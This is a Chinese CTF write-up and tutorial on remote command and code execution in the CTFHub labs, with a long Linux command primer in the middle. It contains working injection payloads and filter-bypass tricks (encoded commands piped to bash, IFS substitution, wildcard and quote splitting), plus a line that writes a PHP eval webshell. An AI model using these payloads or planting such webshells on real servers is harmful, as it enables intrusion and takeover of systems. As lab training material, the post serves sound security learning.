其他分享
首页 > 其他分享> > 通过ctfhub系统对RCE学习

通过ctfhub系统对RCE学习

作者:互联网

文章目录


RCE介绍

RCE英文全称:remote command/code execute(远程命令/代码执行漏洞)
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。相当于直接操控服务器电脑的cmd命令行!高危漏洞!

具体漏洞代码:

$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理

exce(ping)(远程系统命令执行)

一.原理
以PHP为例,system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当我们可以控制这些函数的参数时,就能运行我们想运行的命令,从而进行攻击。

二.攻击:
利用Windows和linux的管道符来执行命令。

Windows管道符
管道符	作用	举例
|	直接执行后面的语句	ping 127.0.0.1|whoami
||	前面的语句执行出错则执行后面的语句	ping 127.0.0.1||whoami
&	前面的语句为假则执行后面的语句	ping 127.0.0.1&whoami
&&	前面的语句为假,直接出错,前面的语句为真,执行后面的语句	ping 127.0.0.1&&whoami
linux管道符
; 执行完前面的语句再执行后面的。eg:ping 127.0.0.1; whoami
| 显示后面语句的执行结果。eg:ping 127.0.0.1 | whoami
||	前面的语句执行出错则执行后面的语句	ping 127.0.0.1||whoami
&	前面的语句为假则执行后面的语句,前面的语句不会影响后面的语句执行	ping 127.0.0.1&whoami
&&	前面的语句为假,直接出错也不执行后面的语句,只有前面的语句为真,执行后面的语句	ping 127.0.0.1&&whoami

一般我们是需要用后面的语句来进行攻击,所以首选|,如果被过滤了在考虑其他,下面的例子很简单,使用管道符|,命令运行成功。
payload:

127.0.0.1 | whoami

这是没有经过任何过滤的情况下。

所以命令执行的条件就是:

1.后台接受参数执行的函数为可执行命令的函数。
2.函数或者函数的参数可控。
3.可以凭借注入命令。

一. eval执行函数

以ctfhub的例子为例:
PHP中的命令执行函数语法为:

<?php system("who am i"); ?>

所以在后台没有函数时,我们直接传入system(" 命令");就行了。
其中 ; 不能少。
靶机环境:
在这里插入图片描述
PHP代码显示,要求将命令赋值给cmd然后执行,
先查看一下根目录文件 /?cmd=system(“ls”);

payload:

?cmd=system("ls /");

可以发现上级的目录文件为:
在这里插入图片描述
在使用system("cat flag_9759");来得到flag。

linux常用的目录操作命令:

/根目录

.当前目录

… 上一级目录
(在后面加一个/也可以)

~家目录

#进入到系统根目录
cd /

#进入到当前目录
cd .

#返回上层目录
cd ..

#进入指定目录/tmp
cd /tmp

#进入当前用户的家目录
cd ~

#回到刚才所在的目录
cd -
#显示当前所在目录的路径
pwd

#显示当前目录的内容(无颜色)
dir

#显示当前目录的内容(有颜色)
ls

#显示指定目录/tmp 的内容
ls /tmp

#列出文件和文件夹的基本属性和详细信息
ls -l

#列出文件和文件夹的基本属性和详细信息
ll

#列出当前目录的全部内容,包括隐藏文件(在文件和文件夹前面加“.”隐藏)
ls -a

创建目录:mkdir

mkdir用来创建目录,如果不加创建路径即在本路径下创建一个新的指定的目录,否则即在给出的路径下创建目录。

#在当前目录下创建ITester子目录
mkdir ITester

#在指定目录/tmp下创建ITester_coco 子目录
mkdir /tmp/ITester_coco

#在当前目录下创建2级目录coco_2和其子目录coco_3
mkdir -p coco_2/coco_3

#在当前目录下创建3个目录 coco vivi jojo(以空格分开)
mkdir coco vivi jojo

建空文本文件:touch

touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。

#在当前目录下创建coco文件
touch coco

#在指定目录/tmp下创建vivi文件
touch /tmp/vivi

复制文件:cp

cp命令主要用于复制文件或目录。

#复制vivi文件到/tmp 目录下
cp vivi /tmp

#复制/tmp/vivi 文件到/home 目录下
cp /tmp/vivi /home

#复制/home/vivi 到/tmp 目录下并改名为 coco
cp /home/vivi /tmp/coco

#复制/tmp/coco到/home目录下并复制文件属性
cp -p /tmp/coco /home

移动文件或目录:mv

mv 命令用来为文件或目录改名,或将文件、目录移入其它位置。

#移动coco_2020文件到/tmp 目录下
mv coco_2020 /tmp

#移动/home/coco文件到/tmp目录下
mv /home/coco /tmp

#移动/home/coco 文件到/tmp目录下并改名为ITester
mv /home/coco /tmp/ITester

#将ITester文件改名为ITester2020
mv ITester ITester2020

#移动目录到/tmp下
mv ITester202003 /tmp

#将jojo目录改名为hoho
mv jojo hoho

查看文件内容命令:cat

cat 命令用于连接文件并打印到标准输出设备上。

#查看/etc/coco文件
cat /etc/coco

#分屏查看文件内容
cat /etc/coco |more

#分屏查看文件内容,可上下翻页
cat /etc/coco |less

删除文件:rm

rm命令用于删除一个文件或者目录。

#删除coco_2020文件
rm coco_2020

#直接删除ITester2020文件(无需确认)
rm -f ITester2020

#同时删除多个文件(无需确认)
rm -f coco2021 vivi2021 ITester2021

#删除指定目录/tmp下的文件coco
rm /tmp/coco

#删除以co开头的文件
rm co*

#删除空目录
rmdir

#递归的方式删除非空目录coco
rm -r coco

#直接删除非空目录vivi(不用确认)
rm -rf 

查找文件:find

find命令用来在指定目录下查找文件,任何位于参数之前的字符串都将被视为需查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并且将查找到的子目录和文件全部进行显示。

#在当前目录下查找以test开头的文件
find test*

#在/etc目录中查找以test开头的文件
find /etc/test*

#在/etc目录中查找以test开头的文件,并显示出来
find /etc/test* -print

在文件中查找关键词:gerp

grep 命令用于查找文件里符合条件的字符串,如果发现某文件的内容符合所指定的条件,grep 指令会将含有范本样式的那一列显示出来。若不指定任何文件名称,或是所给予的文件名为 -,则 grep 指令会从标准输入设备读取数据。

#在/etc/test文件中查找关键字“coco”
grep “coco” /etc/test

命令注入

靶场环境:
在这里插入图片描述

分析源码:
可以得到,通过get方式得到ip参数,之后再传给cmd,通过exec函数来执行我们传入的参数。并在上方通过数组的形式返回。

第一步.测试查看当前目录:
payload:

127.0.0.1 | ls

得到一个PHP文件
在这里插入图片描述
然后使用cat 来打开,发现打不开。

应该是文件中包含特殊字符,使用管道运行base64加密内容。

payload:

ip & cat 212821414019926.php | base64

得到文件内容,再使用base64进行解密,得到flag。

命令注入-过滤cat

第一步:
通过ls列出当前目录下的文件。
在这里插入图片描述

发现一个flag文件。

根据源码:

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}

发现cat被过滤了,但是我们可以使用其他的查看文件的命令:

linux查看文本的命令

cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f

在cat被过滤之后我们常常使用more或者less来代替cat。

在这里我们使用more。
同样的吗,由于无法直接打开PHP文件,我们需要使用base64加密的方式来得到文件内容。
payload:

127.0.0.1 | more flag_180647363763.php | base64

在这里插入图片描述

命令注入-过滤空格

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

由源码可知:
空格被过滤。
所以我们就可以使用/**/来代替空格,这个方法也常用在SQL注入,还可以使用< 、<>、%20(space)、%09(tab)、$IFS$9、 I F S 、 {IFS}、 IFS、IFS等
payload:

127.0.0.1/**/|/**/ls

得到:
在这里插入图片描述

之后打开该flag文件。

payload:

127.0.0.1|cat<flag_283661003431052.php|base64

只有在命令和命令以及命令和内容之间需要空格,在使用管道符的时候是可以不需要空格的。
得到base64编码的文件:
在这里插入图片描述

命令注入-过滤目录分隔符

通过127.0.0.1|ls
发现存在子文件夹:flag_is_here
在这里插入图片描述
但是不能使用 / 所以我们可以进入该文件夹并且查看该文件夹的文件。
payload:

127.0.0.1;cd flag_is_here;ls

在这里插入图片描述
接着打开该文件,得到flag

127.0.0.1;cd flag_is_here;cat flag_278383166710965.php|base64

在这里插入图片描述
解码base64

命令注入-过滤运算符

查看源码:

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

发现|和&都被过滤了,但是我们可以使用 ; 来拼接命令。
payload:

127.0.0.1;ls

在这里插入图片描述
发现flag文件,那么如何打开呢?
因为过滤了管道符|,不能再使用了,
所以可以使用base64 1.php这个与cat 1.php|base64是等价的。
base64表示使用base64直接打开1.php这个文件。
payload:

127.0.0.1;base64 flag_1084102149665.php

在这里插入图片描述
得到文件内容,base64解密。

综合练习

审计源码:

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?

发现 | & cat flag / \ ctfhub 空格都被过滤掉。
所以我们需要选择绕过思路:

空格可以用${IFS}或者<
cat可以用more
flag可以用正则f***
ctfhub应该用不到
查了一下,在linux下,命令分隔符除了;还有%0a

payload:

127.0.0.1%0als

查看文件:
在这里插入图片描述
使用hex编码的方式来绕过flag。
payload:

127.0.0.1%0Als${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65%22)#

在这里插入图片描述

payload:

127.0.0.1%0Abase64${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65\x2F\x66\x6C\x61\x67\x5F\x32\x30\x31\x39\x36\x34\x33\x38\x34\x32\x31\x37\x32\x2E\x70\x68\x70%22)

其中base64表示使用base64编码的方式读取flag文件。

常见绕过方法

花括号

{}
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
{cat,flag}

斜杠

路径 /
\是在正则等语法里面,表示后面跟的字符是正常字符,不需要转义。

也就意味着,我们可以在rce漏洞,过滤掉cat ls等命令时候,直接使用ca\t来实现绕过

空格过滤

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

一些命令分隔符

linux中:%0a(回车) 、%0d(换行) 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

黑名单绕过
拼接绕过
比如:a=l;b=s; a a ab
利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat a a ab
利用.拼接绕过(sy.(st).em)
使用内敛执行代替system

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?>      # 等效于<?php echo `ls /`; ?>

编码绕过

[root~]# echo 'Y2F0wqAK' | base64 -d 1.txt

-d是解码,是base64解码
xxd - r -p可以转换16进制,同样用户管道符之后。

#base64
echo "Y2F0IC9mbGFn"|base64 -d|bash  ==> cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh      ==> cat /flag
#hex
echo "0x636174202f666c6167" | xxd -r -p|bash   ==> cat /flag
#oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#i也可以通过这种方式写马
#内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

在前面还可以加上各种命令,比如base64就是以base64编码读取文件内容
单引号和双引号绕过

比如:ca‘‘t flag 或ca""t flag

利用Shell 特殊变量绕过
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$@表示

比如:ca$@t fla$@g或者ca$1t fla$2g

linux中直接查看文件内容的工具

cat、tac、more、less、head、tail、nl、sed、sort、uniq
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

(假设该目录下有index.php和flag.php)

cat `ls` 

等同于–>

cat flag.php;cat index.php

文件构造
在ctfhub文件包含中,有一个shell,txt,也就是文件
我们令?file = shell.txt,已知shell.txt内容为

<?php eval($_REQUEST['ctfhub']);?>
wrequest类型是由get和post构成的

在post数据里输入

ctfhub=system("ls /");

就可以执行命令.

单引号和双引号绕过

c'a't test
c"a"t test

反斜杠绕过

ca\t test
通过$PATH绕过

#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成
#当执行程序时,shell自动跟据PATH变量的值去搜索该程序
#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索
echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
`echo $PATH| cut -c 8,9`t test

通配符绕过

[…]表示匹配方括号之中的任意一个字符
{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开

cat t?st
cat te*
cat t[a-z]st
cat t{a,b,c,d,e,f}st

限制长度

a #虽然没有输入但是会创建a这个文件
ls -t #ls基于基于事件排序(从晚到早)
sh a #sh会把a里面的每行内容当作命令来执行
使用|进行命令拼接 #l\ s = ls
base64 #使用base64编码避免特殊字符

标签:文件,ctfhub,ip,cat,系统对,flag,coco,RCE,目录
来源: https://blog.csdn.net/qq_45584159/article/details/111592740